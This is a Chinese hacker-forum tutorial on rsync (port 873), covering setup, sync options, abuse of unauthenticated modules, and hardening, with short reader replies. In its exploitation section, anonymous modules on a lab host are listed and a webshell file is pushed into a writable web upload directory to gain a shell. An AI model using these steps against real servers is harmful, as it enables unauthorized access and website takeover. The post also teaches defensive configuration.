查看: 216890|回复: 2870

详细讲解873端口之rsync的安全问题

[复制链接]
发表于 2016-4-12 12:00:03 | 显示全部楼层 |阅读模式
本帖最后由 U神V5 于 2016-4-12 12:01 编辑

网络上大部分针对rsync的漏洞都只是马马虎虎,作者带你0基础认识rsync,搭建服务器到漏洞的利用与防护,全部0基础详细讲解。



           本文由u神原创,转载请注明作者和出处。


1、什么是rsync
2、架设rsync服务器(服务端、客户端配置)
3、rsync的几种同步模式与常用参数
4、rsync未授权访问漏洞的利用
5、rsync漏洞的安全防护


服务端:Kali Linux 2016   IP:192.168.199.199
客户端:Backtrack 5 R3   IP:192.168.199.205




1、什么是rsync呢?


      rsync(全称:Remote synchronize)是一款开源的、快速的、多功能,可以实现全量(所谓全量就是完全备份所有数据)以及增量(同步备份有增删改的数据)的本地或远程数据镜像同步备份的优秀工具,Rsync适用于Unix/Linux/Windows等多种操作平台。Rsync具有可使本地和远程两台主机之间的数据快速复制同步镜像、远程备份等功能,这个功能类似scp,但优于scp的功能。当然,Rsync还可以在本地主机的不同分区或目录之间全量及增量的复制数据,这类似cp命令,同样也优于cp命令。rsync除了可以完整拷贝外还具备增量拷贝的功能。
   
        rsync的特性:

      能更新整个目录和树和文件系统;
      有选择性的保持符号链链、硬链接、文件属于、权限、设备以及时间等;
      对于安装来说,无任何特殊权限要求;
      对于多个文件来说,内部流水线减少文件等待的延时;
      能用rsh、ssh 或直接端口做为传输入端口;
      支持匿名rsync 同步文件,是理想的镜像工具;


2、架设rsync服务器 (以需要密码验证的情况来讲解)


#服务端的配置:

  默认情况下Linux服务器上已经安装了rsync软件。如果没有安装可以使用 “apt-get install rsync ” 命令安装,当然我这里默认安装了就不再安装了。

01.jpg



在 /etc/rsync.conf 中建立配置文件(默认不存在的情况下建立)配置信息如下:


uid = rsync_backup                                   #运行RSYNC守护进程的用户
gid = rsync_backup                                   #运行RSYNC守护进程的组
use chroot = yes                                       #允许切换设定的目录
max connections = 200                           #最大连接数
timeout = 300                                            #超时时间
pid file = /var/run/rsyncd.pid                   #进程号的存储文件
lock file = /var/run/rsyncd.locak             #启动和停止的锁文件
log file = /var/log/rsyncd.log                   #日志文件
port = 873                                                #端口号
[web]                                                        #模块文件,客户端连接时需要指定模块
path = /test/dedecms/                           #设定的访问路径
ignore errors                                          #可以忽略一些无关的IO错误
read only = yes                                   #是否只读
list = yes                                               #是否允许列文件
auth users  =rsync_backup              # 认证的用户名,如果没有这行则表明是匿名,此用户与系统无关
secrets file = /rsync.pwd                   #密码和用户名对比表,密码文件请自己生成


#配置完毕之后需要完成的操作:


a)、建立不能登录bash的rsync用:

       useradd rsync_backup -s /sbin/nologin -M

b)、设置test/dedecms/目录下的属主和属组

        chown -R rsync_backup:rsync_backup /test/dedecms/

c)、建立/rsync.pwd的密码认证

         echo "rsync_backup:666888" >>/rsync.pwd

d)、设置密码文件的权限600

        chmod 600 /rsync.pwd


启动服务:

rsync --daemon  #以守护进程方式来启动rsync

查看是否正常启动

netstat -nlt | grep 873   或者 lsof -i tcp:873

02.jpg



#客户端的操作:

a)、设置rsync的密码文件

       echo "666888"  >> /etc/rsync.password

b)、设置密码文件的权限

       chmod  600 /etc/rsync.password  



3、rsync的几种同步模式与常用参数:


# 三种同步模式

    1、主机本地间的数据传输(此时类似于cp命令的功能)。

             例如:rsync /etc/hosts /opt  
             释义:将本地的/etc/hosts文件同步到/opt目录

             例如:rsync -r /opt /etc
             释义:将/opt目录同步到/etc下

    2、借助rcp、ssh等通道来传输数据(此时类似于scp命令的功能),此时使用的是系统用户。

              例如:rsync -v -e 'ssh -p22' /etc/hosts  root@192.168.199.188 /tmp
              释义:将本地的hosts文件同步到远程主机192.168.199.188的/tmp目录下

               例如:rsync -v -e 'ssh -p22'  root@192.168.199.188:~/home /etc
               释义:将远程的用户家目录home同步到本地的/etc目录下
            

    3、以守护进程(socket)的方式传输数据(这个是rsync的重要功能),此时使用的是虚拟用户。

            例如: rsync -avzp  rsync_backup@192.168.199.199::web/ /test/ --password-file=/etc/rsync.password
            释义:将远程服务器192.168.199.199的web模块根目录下所有文件递归形式 备份到本地的/test/目录下

             例如:rsync -avzp /test.txt rsync_backup@192.168.199.199::web/ --password-file=/etc/rsync.password
             释义:将本地/test.txt 备份到远程服务器192.168.199.199的web模块的根目录下


# 常用的参数

   -v , --verbose        详细输出模式,传输时的进度信息。
   -z , --compress     传输时候进行压缩以提供传输效率,--compress-level=数字等级 (可按级别压缩)。
   -r , --recursiv          对子目录以递归模式,即目录下的所有目录都同样传输,注意是小写的r
   -a, --archive           归档模式,表示以递归方式传输文件,并保持所有文件的原有属性 ,等于-rtopgDl
   -q, --quiet                精简输出模式
   -c, --checksum       打开校验开关,强制对文件传输进行校验
   -P,--progress         显示同步的过程以及传输的进度信息,与-v类似
   -R,--relative         使用相对路径信息,
   -D,--device             保持设备文件信息
   -l , --links                 保持软链接
   -e,--rsh=COMMON 使用的信道协议,指定代替rsh的shell程序,例如:ssh
   --exclude=PATTERN 指定排除不需要传输的文件模式
   --delete  当源目录中的文件删除,同步后目标目录中的文件也会被删除,如果源目录写法不当,可能无法达到同步删除目标目录的文件

    注意:
              rsync -avz /opt/firefox ~/test   在同步目录后面不加上/ 则是递归拷贝firefox目录,包含firefox目录
              rsync -avz /opt/firefox/ ~/test  在同步目录后面加上/ 则是递归拷贝firefox目录下的文件,不包含firefox目录


# rsync的同步操作


第一种:   rsync user@hosts::module --pass-file=password text

例如我们配置的:rsync rsync_backup@192.168.199.199::web --password-file=/etc/rsync.password
                     
03.jpg
   
继续看看uploads目录

rsync rsync_backup@192.168.199.199::web/uploads/ --password-file=/etc/rsync.password

04.jpg


将本地文件test.txt备份到根目录下

rsync -avzp /test.txt rsync_backup@192.168.199.199::web/ --password-file=/etc/rsync.password

05.jpg


将服务器的所有文件备份到本地/test/ 目录下

rsync -avzp  rsync_backup@192.168.199.199::web/ /test/ --password-file=/etc/rsync.password

06.jpg
07.jpg


实现增量备份,在本地的/test目录下创建baidu.txt,可以发现只同步了一个文件,那就是本地新增的/test/baidu.txt

rsync -av --delete /test rsync_backup@192.168.199.199::web/ --password-file=/etc/rsync.password

08.jpg


在备份服务器上删除了3个文本文档,再次从服务器增量备份到本地

rsync -av --delete  rsync_backup@192.168.199.199::web/ /test/ --password-file=/etc/rsync.password



09.jpg



4、rsync未授权导致的问题

乌云案例:

http://wooyun.org/bugs/wooyun-2010-0166312
http://wooyun.org/bugs/wooyun-2010-0161535
http://wooyun.org/bugs/wooyun-2010-0169638
http://wooyun.org/bugs/wooyun-2010-0157669
http://wooyun.org/bugs/wooyun-2010-0157620
http://wooyun.org/bugs/wooyun-2010-0156335
http://wooyun.org/bugs/wooyun-2010-0156129
http://wooyun.org/bugs/wooyun-2010-0145535


如果/etc/rsyncd.conf下没有以下两行配置,则可能造成匿名访问:


auth users  =rsync_backup              # 认证的用户名,如果没有这行则表明是匿名,此用户与系统无关
secrets file = /rsync.pwd                   #密码和用户名对比表,密码文件请自己生成


列rsync的模块:rsync root@192.168.199.199::


10.jpg

查询模块下的文件:rsync root@192.168.199.199::web

11.jpg

如果对方的配置信息为:read only = no 【表示可以向里面写内容】 又恰巧是一个web目录的话,那我们就可以直接getshell了

rsync /shell.php root@192.168.199.199::web/uploads/    #将本地shell推送到rsync的uploads目录(我这里的shell没写内容)


12.jpg



5、rsync的安全配置


1、配置文件设置用户认证、安全强大的密码

    auth users  =rsync_backup  设置认证用户
   
    echo "rsync_backup:bkweb@#$12345!">>/rsync.pwd  设置强悍的密码
     
   secrets file = /rsync.pwd   


2、修改端口

    port = 8730
  

3、可以设定指定的主机访问

hosts allow = 192.168.1.1,10.10.10.10   允许的主机访问

hosts deny = 0.0.0.0/0   禁止的访问主机


4、只读或者不允许列文件

read only = yes        只读,当然如果你的资源不要紧可以随便看
list = no                   不允许列文件


5、不使用chroot

use chroot = no             不使用chroot


6、当然drop也说了rsync可以通过iptable防火墙来阻止不受信任用户访问

http://drops.wooyun.org/papers/161

参考rsync的渗透技巧:https://www.91ri.org/11093.html


评分

参与人数 1人气 +1 贡献 +1 收起 理由
90_ + 1 + 1 支持原创

查看全部评分

回复

使用道具 举报

发表于 2016-4-12 12:35:47 | 显示全部楼层
跪了,请收下膝盖
回复 支持 反对

使用道具 举报

发表于 2016-4-12 15:15:44 | 显示全部楼层
麻痹这么长。。。我还给看完了
回复 支持 反对

使用道具 举报

发表于 2016-4-12 15:34:15 | 显示全部楼层
谢谢楼主的分享
回复 支持 反对

使用道具 举报

发表于 2016-4-12 15:44:54 | 显示全部楼层
支持,看起来还是可以的
回复 支持 反对

使用道具 举报

发表于 2016-4-12 15:57:38 | 显示全部楼层
谢谢楼主的分享
回复 支持 反对

使用道具 举报

发表于 2016-4-12 18:48:25 | 显示全部楼层
我是来水经验的……
回复 支持 反对

使用道具 举报

发表于 2016-4-12 21:53:26 | 显示全部楼层
回复 支持 反对

使用道具 举报

发表于 2016-4-13 00:17:40 | 显示全部楼层
我是来水经验的……
回复 支持 反对

使用道具 举报

发表于 2016-4-13 02:13:51 | 显示全部楼层
非常感谢
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 注册

本版积分规则

指导单位

江苏省公安厅

江苏省通信管理局

浙江省台州刑侦支队

DEFCON GROUP 86025

旗下站点

邮箱系统

应急响应中心

红盟安全

联系我们

官方QQ群:112851260

官方邮箱:security#ihonker.org(#改成@)

官方核心成员

Archiver|手机版|小黑屋| ( 沪ICP备2021026908号 )

GMT+8, 2025-3-10 10:28 , Processed in 0.044668 second(s), 14 queries , Gzip On, MemCache On.

Powered by ihonker.com

Copyright © 2015-现在.

  • 返回顶部